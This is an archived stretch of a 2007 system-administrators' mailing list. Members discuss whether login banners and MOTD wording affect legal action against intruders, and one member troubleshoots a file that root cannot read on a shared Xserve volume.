|    For high-security applications, consider using a "blind" password
|    (i.e., give no response to an incoming call until the user has
|    typed in a password).  This effectively simulates a dead modem.

The SecurityLex.org dictionary under "Best Practices" has this to say 
regarding banners:

| Many text-based protocols will issue text banners when you connect
| to the service. These can usually be used to fingerprint the os or
| service.
|
| Key point: Many banners reveal the exact version of the product.
| Over time, exploits are found for specific versions of products.
| Therefore, the intruder can simply lookup the version numbers in a
| list to find which exploit will work on the system. In the examples
| below, the version numbers that reveal the service has known
| exploitable weaknesses are highlighted.

	[ ... deletia ... ]

| Best practices: It is often recommend (and required in some government
| areas) to display a banner warning off unauthorized users. It makes
| the legal case stronger if you can show that the attacker saw a
| banner that indicated that they were unauthorized.
|
| Best practices: All version information should be supressed in the
| banners. See the product documentation for more information on this.

Of course, these days any attacker can just run one of a variety of 
fingerprint tools in order to tell them what platform you're running 
on, what versions of what programs you've got listening to which 
ports, etc....


Then there is also the "Security Basics" page at 
<http://seclists.org/security-basics/2002/Dec/0575.html> which talks 
about login banners and gives some specific suggestions as to how you 
might want to word things as well as references to the specific laws 
that would need to be referenced.

It's too long to quote here, but it looks like good stuff.


I know that I use a login banner on all of my systems, but I didn't 
think that it really meant a whole lot.  Now I'm beginning to wonder 
if maybe it's more important than I had thought.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 12:36:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKa98Z010219
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:36:10 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKa9Ta010218
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:36:09 -0800 (PST)
Received: from will.to (stat-153-124-108.myactv.net [24.153.124.108])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKZtxn010201
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:36:06 -0800 (PST)
Received: from [149.77.33.118] (pants.nyc.deshaw.com [149.77.33.118])
	(authenticated bits=0)
	by will.to (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l0PKTxXU031782
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 25 Jan 2007 15:30:00 -0500
Message-ID: <45B91347.3080505@will.to>
Date: Thu, 25 Jan 2007 15:29:59 -0500
From: Doug Hughes <doug@will.to>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: Tony Del Porto <tony@usenix.org>
CC: sage-members@sage.org
Subject: Re: [SAGE] when root can't read a file
References: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
In-Reply-To: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc3 (will.to [24.153.124.108]);
	Thu, 25 Jan 2007 15:30:00 -0500 (EST)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2
Sender: owner-sage-members@usenix.org
Precedence: bulk

Tony Del Porto wrote:
> Hey Folks,
>
> I have an Xserve (OS 10.4) with a shared volume (Fiber attached Xserve 
> RAID). One of my users created a file that cannot be read. The error 
> given is "Permission denied". I have permission as a regular user to 
> read the file and can't, nor can "root". The owner of the file can't 
> read the file.
>
>
> [enterprise-2006]$ ls -le LISA\ 06\ Post\ Conf\ Report.doc
> -rw-rw-r-- + 1 devon staff 30720 Jan 23 11:46 LISA 06 Post Conf 
> Report.doc
> 0: user:ops inherited allow 
> read,write,execute,delete,append,readattr,writeattr,readextattr,writeextattr,readsecurity,writesecurity,chown 
>
> [enterprise-2006]$ groups
> staff fmsadmin wwwdata publications admin office
> [enterprise-2006]$ head -1 LISA\ 06\ Post\ Conf\ Report.doc
> head: LISA 06 Post Conf Report.doc: Permission denied
> [enterprise-2006]$ sudo head -1 LISA\ 06\ Post\ Conf\ Report.doc
> Password:
> head: LISA 06 Post Conf Report.doc: Permission denied
>
>
> I can read other files in the directory with identical permissions 
> without issue.
>
> Ideas?
>
> Thanks!

you say shared volume.. Do you mean NFS? If this is on an NFS server 
that makes perfect sense. Root on a client machine does not have access 
to files as root that are on an NFS server unless you have special 
options set on the NFS server (e.g. no_root_squash or anonuid).
could this be the issue?


From sage-members-owner@usenix.org Thu Jan 25 12:38:17 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKcG0q010644
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:38:17 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKcGAj010643
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:38:16 -0800 (PST)
Received: from bache.ece.cmu.edu (BACHE.ECE.CMU.EDU [128.2.129.23])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKbq7G010609
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:38:02 -0800 (PST)
Received: by bache.ece.cmu.edu (Postfix, from userid 953)
	id B774A1D; Thu, 25 Jan 2007 15:37:51 -0500 (EST)
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-25) on filt1.ece.cmu.edu
X-Spam-Level: *
X-Spam-Status: No, score=1.0 required=6.0 tests=BAYES_60 autolearn=no 
	version=3.1.4
Received: from [128.2.136.137] (SKKUKUK.ECE.CMU.EDU [128.2.136.137])
	by bache.ece.cmu.edu (Postfix) with ESMTP id 1744913
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:37:51 -0500 (EST)
Mime-Version: 1.0 (Apple Message framework v752.2)
In-Reply-To: <1169755719.26274.48.camel@willow.odshp.com>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <74A625DD-2304-4FE7-8B66-FDB4F0B871B7@ece.cmu.edu>
Content-Transfer-Encoding: 7bit
From: "Brandon S. Allbery KF8NH" <allbery@ece.cmu.edu>
Subject: Re: [SAGE] MOTD & Legal Issues
Date: Thu, 25 Jan 2007 15:37:49 -0500
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.2)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 25, 2007, at 3:08 PM, Wil Cooley wrote:

> I, too, have heard that, but my suspicion is that it's a folktale told
> to scare executives.  Have there ever been any actual cases of that

I have a vague recollection that it was used sometime in the 90s as a  
defense, in a court case in Europe.  And that it was rejected with  
the scorn it deserved.  I suggest verifying this though.

-- 
brandon s. allbery     [linux,solaris,freebsd,perl]       
allbery@kf8nh.com
system administrator  [openafs,heimdal,too many hats]   
allbery@ece.cmu.edu
electrical and computer engineering, carnegie mellon university       
KF8NH




From sage-members-owner@usenix.org Thu Jan 25 12:43:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKhV8o011100
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:43:31 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKhVxX011099
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:43:31 -0800 (PST)
Received: from coat.coat.com (coat.coat.com [164.153.10.15])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKhNXm011084
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:43:29 -0800 (PST)
Received: from pasteur.coat.com (pasteur.coat.com [172.16.141.105])
	by coat.coat.com (8.12.9+Sun/8.12.10/bcf03-virt) with SMTP id
	l0PKa7EB014025
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:36:07 -0500 (EST)
Received: from (vlan7-dhcp76.coat.com [172.16.140.242]) by pasteur.coat.com
	with smtp id 2d3f_af20000c_acb3_11db_94de_001422172f87;
	Thu, 25 Jan 2007 20:36:06 +0000
Subject: Re: [SAGE] MOTD & Legal Issues
From: Mike Hoskins <mhoskins@coat.com>
Reply-To: mike.hoskins@coat.com
To: sage-members@sage.org
In-Reply-To: <1169755719.26274.48.camel@willow.odshp.com>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
Content-Type: text/plain
Organization: Burlington Coat Factory
Date: Thu, 25 Jan 2007 15:36:01 -0500
Message-Id: <1169757363.7982.37.camel@endor.coat.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, 2007-01-25 at 12:08 -0800, Wil Cooley wrote:
> On Thu, 2007-01-25 at 11:52 -0800, Jason Dusek wrote:
> 
> > I'm curious about legal issues surrounding the Message of The Day on
> > UNIX/Linux servers. I can remember reading somewhere that an inviting
> > MOTD creates a legal loophole for intruders -- if they log in with
> > stolen credentials and the machine says "Welcome!", then they may take
> > that as permission to go about their dirty business.
> 
> I, too, have heard that, but my suspicion is that it's a folktale told
> to scare executives.  Have there ever been any actual cases of that
> happening?  The closest analogy (which doesn't always inform law, nor is
> it necessarily convincing) would be a burglar arguing that a "Welcome"
> mat was an invitation to breaking and entering.
> 
> Wil

I'm sure this varies from state to state, but there is partial truth to
this in some states. Again depending on the state, the welcome mat has
been legally argued to permit access to the yard, but not the house
itself. I have noted that there are many mats made for the front doorway
to the house, but very very few of them actually say welcome anymore.

Mike
-- 
Mike Hoskins/Sys Mgmt Supv <IXOYE><  Burlington Coat Factory
voice 609/387-7800 x72554                 Systems Management
fax 609/387-2764                          1830 North Rt #130
mike.hoskins@coat.com                  Burlington, NJ  08016



From sage-members-owner@usenix.org Thu Jan 25 12:47:59 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKlwqY011507
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:47:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKlw84011506
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:47:58 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKlHJq011459
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:47:42 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id 3BF9415B580;
	Thu, 25 Jan 2007 15:47:17 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 29507-03; Thu, 25 Jan 2007 15:47:11 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 2F68E15B57B;
	Thu, 25 Jan 2007 15:47:10 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0PKl5xv062228;
	Thu, 25 Jan 2007 15:47:07 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240502c1dec454adc4@[10.0.1.12]>
In-Reply-To: <1169755719.26274.48.camel@willow.odshp.com>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
Date: Thu, 25 Jan 2007 14:46:40 -0600
To: sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: Wil Cooley <wcooley@nakedape.cc>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.34 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.059, BAYES_00=-2.599]
X-Spam-Score: -4.34
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 12:08 PM -0800 1/25/07, Wil Cooley wrote:

>  I, too, have heard that, but my suspicion is that it's a folktale told
>  to scare executives.  Have there ever been any actual cases of that
>  happening?  The closest analogy (which doesn't always inform law, nor is
>  it necessarily convincing) would be a burglar arguing that a "Welcome"
>  mat was an invitation to breaking and entering.

Actually, there is the legitimate issue of trespassing, and the 
related concept of attractive nuisances.  For example, someone is not 
necessarily trespassing on your property unless you post an explicit 
"no trespassing" sign.  This also relates to "squatters rights". 
Even if you have a "no trespassing" sign up but you are not making 
any attempt to enforce it, then if people are essentially taking 
possession of the property in question and they have been doing so 
for a reasonable period of time, they can claim that they are now the 
rightful owners -- or at least that they have certain rights to 
certain aspects of that property, such as using it as a shortcut to 
get somewhere else, or just walking around on it.

And if you have something on your property that is attractive to 
others and also potentially hazardous, you are legally liable for any 
abuse of that thing, and it's your responsibility to provide a 
reasonable level of security around it so as to try to prevent such 
abuse.  So, if you have a swimming pool on your property, it's your 
responsibility to put a fence around it and do other things to keep 
out the neighborhood kids, otherwise you've created an "attractive 
nuisance" and you're liable for any wrongful deaths, etc... that may 
happen as a result.

IANAL, but I am married to one, and I hear about these kinds of 
things on occasion.


The "Security Basics" page at 
<http://seclists.org/security-basics/2002/Dec/0575.html> talks about 
login banners and some of the rights that have been established that 
people have by default, if they have not otherwise been warned of 
certain types of activity that may be going on.  That's why you need 
to specifically warn them about the activity -- for example, on your 
network, you would need to inform the users that they have no Fourth 
Amendment "reasonable expectation of privacy" as established under 
O'Connor v. Ortega, 480 U.S. 709 (1987).


Again, I'm not sure how much good all this stuff does in a real court 
case, but at the very least I'd like to see some well reasoned 
arguments from some pretty well known people in the business that can 
refute the stuff I've already found.

I have not yet found any stuff out there that contradicts the pages 
that I have already mentioned.  I'm only finding other pages which 
talk about some of the same topics in roughly the same way, and some 
of them seem to have better information than others.

If you have any references that strongly argue the opposite, please 
let me know.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 12:54:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKspr0012117
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:54:52 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKsp0G012115
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:54:51 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKsh1b012093
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:54:49 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id 00EE615B592;
	Thu, 25 Jan 2007 15:54:43 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 32057-05; Thu, 25 Jan 2007 15:54:40 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 6244415B598;
	Thu, 25 Jan 2007 15:54:40 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0PKsbRW062590;
	Thu, 25 Jan 2007 15:54:39 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240503c1dec947d6a6@[10.0.1.12]>
In-Reply-To: <p06240502c1dec454adc4@[10.0.1.12]>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]>
Date: Thu, 25 Jan 2007 14:54:33 -0600
To: Brad Knowles <brad@shub-internet.org>, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: Wil Cooley <wcooley@nakedape.cc>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.341 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.058, BAYES_00=-2.599]
X-Spam-Score: -4.341
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 2:46 PM -0600 1/25/07, Brad Knowles wrote:

>  The "Security Basics" page at
>  <http://seclists.org/security-basics/2002/Dec/0575.html> talks about
>  login banners and some of the rights that have been established that
>  people have by default, if they have not otherwise been warned of
>  certain types of activity that may be going on.

Of course, I just realized that this page also links to an official 
government Department of Justice page at 
<http://www.usdoj.gov:80/criminal/cybercrime/s&sappendix2002.htm>, 
which would seem to be pretty authoritative on the subject.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 12:57:44 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKvh1E012613
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:57:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKvh4R012611
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:57:43 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKvYPe012587
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:57:39 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id BFBE115B568;
	Thu, 25 Jan 2007 15:57:33 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 31974-06; Thu, 25 Jan 2007 15:57:30 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 957EA15B597;
	Thu, 25 Jan 2007 15:57:30 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0PKvSfB062780;
	Thu, 25 Jan 2007 15:57:28 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240504c1deca060371@[10.0.1.12]>
In-Reply-To: <p06240503c1dec947d6a6@[10.0.1.12]>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]> <p06240503c1dec947d6a6@[10.0.1.12]>
Date: Thu, 25 Jan 2007 14:57:22 -0600
To: Brad Knowles <brad@shub-internet.org>, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: Wil Cooley <wcooley@nakedape.cc>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.341 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.058, BAYES_00=-2.599]
X-Spam-Score: -4.341
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 2:54 PM -0600 1/25/07, Brad Knowles wrote:

>  Of course, I just realized that this page also links to an official
>  government Department of Justice page at
>  <http://www.usdoj.gov:80/criminal/cybercrime/s&sappendix2002.htm>, which
>  would seem to be pretty authoritative on the subject.

And that's just the Appendices.  The fully "Search and Seizure" 
manual is at 
<http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.htm>, if 
you want to read things in more depth.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 12:58:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKwdfJ012771
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:58:40 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKwd0p012767
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:58:39 -0800 (PST)
Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.182])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKw9GF012689
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:58:20 -0800 (PST)
Received: by py-out-1112.google.com with SMTP id z74so306365pyg
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:58:03 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Vs45XmK478u98Tc4te0VZyGWMDNvK3J44BFr9pX1xou8ksF/5wOYgMyrp5omU+HkvcMY7UbLij5R0Ysz6Nsf6q+1kSU3d/ZJdL3ERMKC5Qs8MYASyyhQqsr6J1eXFTpOBUoFQHVePox5wDQIQCxtKzguO9a4bZFj/pVVTCHlnVg=
Received: by 10.35.50.5 with SMTP id c5mr4708481pyk.1169758682876;
	Thu, 25 Jan 2007 12:58:02 -0800 (PST)
Received: by 10.114.156.17 with HTTP; Thu, 25 Jan 2007 12:58:02 -0800 (PST)
Message-ID: <b5e09e920701251258l4ff46fc7h43562b505ddc157c@mail.gmail.com>
Date: Thu, 25 Jan 2007 15:58:02 -0500
From: "Meenoo Shivdasani" <meenoo@gmail.com>
To: "Jason Dusek" <jason.dusek@gmail.com>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: sage-members@sage.org
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> I'm curious about legal issues surrounding the Message of The Day on
> UNIX/Linux servers. I can remember reading somewhere that an inviting
> MOTD creates a legal loophole for intruders -- if they log in with
> stolen credentials and the machine says "Welcome!", then they may take
> that as permission to go about their dirty business.

I think there are actually two main reasons to have a legalistic banner:

- Apparently, in some jurisdictions, it is easier to prosecute an
intruder if you do have a banner that says that unauthorized use is
prohibited.  I say "apparently" because I have never personally
prosecuted an intruder.

- In some places, it may be illegal to monitor the usage of the system
by authorized users unless you inform them that they are being
monitored.

The case that you're mentioning -- I think it was back in the '90s,
but it might have been overturned later on appeal.  I'd have to dig to
see if I can find a reference.

M


From sage-members-owner@usenix.org Thu Jan 25 13:02:09 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PL23A4013421
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 13:02:03 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PL238o013418
	for sage-members-0utGoign; Thu, 25 Jan 2007 13:02:03 -0800 (PST)
Received: from elasmtp-banded.atl.sa.earthlink.net
	(elasmtp-banded.atl.sa.earthlink.net [209.86.89.70])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PL1Zwi013394
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:01:46 -0800 (PST)
Received: from [205.243.112.50] (helo=[172.17.4.145])
	by elasmtp-banded.atl.sa.earthlink.net with asmtp
	(TLSv1:AES256-SHA:256) (Exim 4.34) id 1HABis-000789-SU
	for sage-members@sage.org; Thu, 25 Jan 2007 16:01:31 -0500
Message-ID: <45B91ABC.2000207@the-hendersons.org>
Date: Thu, 25 Jan 2007 15:01:48 -0600
From: Chris Henderson <sage@the-hendersons.org>
User-Agent: Thunderbird 1.5.0.9 (X11/20061219)
MIME-Version: 1.0
CC: sage-members@sage.org
Subject: Re: [SAGE] MOTD & Legal Issues
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<74A625DD-2304-4FE7-8B66-FDB4F0B871B7@ece.cmu.edu>
In-Reply-To: <74A625DD-2304-4FE7-8B66-FDB4F0B871B7@ece.cmu.edu>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-ELNK-Trace: dde440e1f507b53d9c7f779228e2f6aeda0071232e20db4dce2bbc83fa10507b4b5f950f822a1868350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c
X-Originating-IP: 205.243.112.50
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=3%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Might want to look at this CERT advisory. It seems to indicate that a
banner is a good idea. It was last updated in '97, so its a bit old, but
that doesn't mean its not still valid.

http://www.cert.org/advisories/CA-1992-19.html

--Chris Henderson

On 01/25/2007 02:37 PM, Brandon S. Allbery KF8NH wrote:
>
> On Jan 25, 2007, at 3:08 PM, Wil Cooley wrote:
>
>> I, too, have heard that, but my suspicion is that it's a folktale told
>> to scare executives.  Have there ever been any actual cases of that
>
> I have a vague recollection that it was used sometime in the 90s as a
> defense, in a court case in Europe.  And that it was rejected with the
> scorn it deserved.  I suggest verifying this though.
>
> --brandon s. allbery     [linux,solaris,freebsd,perl]     
> allbery@kf8nh.com
> system administrator  [openafs,heimdal,too many hats] 
> allbery@ece.cmu.edu
> electrical and computer engineering, carnegie mellon university     
> KF8NH
>
>


From sage-members-owner@usenix.org Thu Jan 25 13:10:17 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLAFIk014111
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 13:10:16 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PLAFAc014110
	for sage-members-0utGoign; Thu, 25 Jan 2007 13:10:15 -0800 (PST)
Received: from newwinkle.deer-run.com (newwinkle.deer-run.com [67.18.149.10])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PL9psE014083
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:10:03 -0800 (PST)
Received: from deer.deer-run.com (newwinkle.deer-run.com [67.18.149.10] (may
	be forged))
	by newwinkle.deer-run.com (8.13.1/8.13.1) with ESMTP id l0PL9in7015554; 
	Thu, 25 Jan 2007 15:09:45 -0600
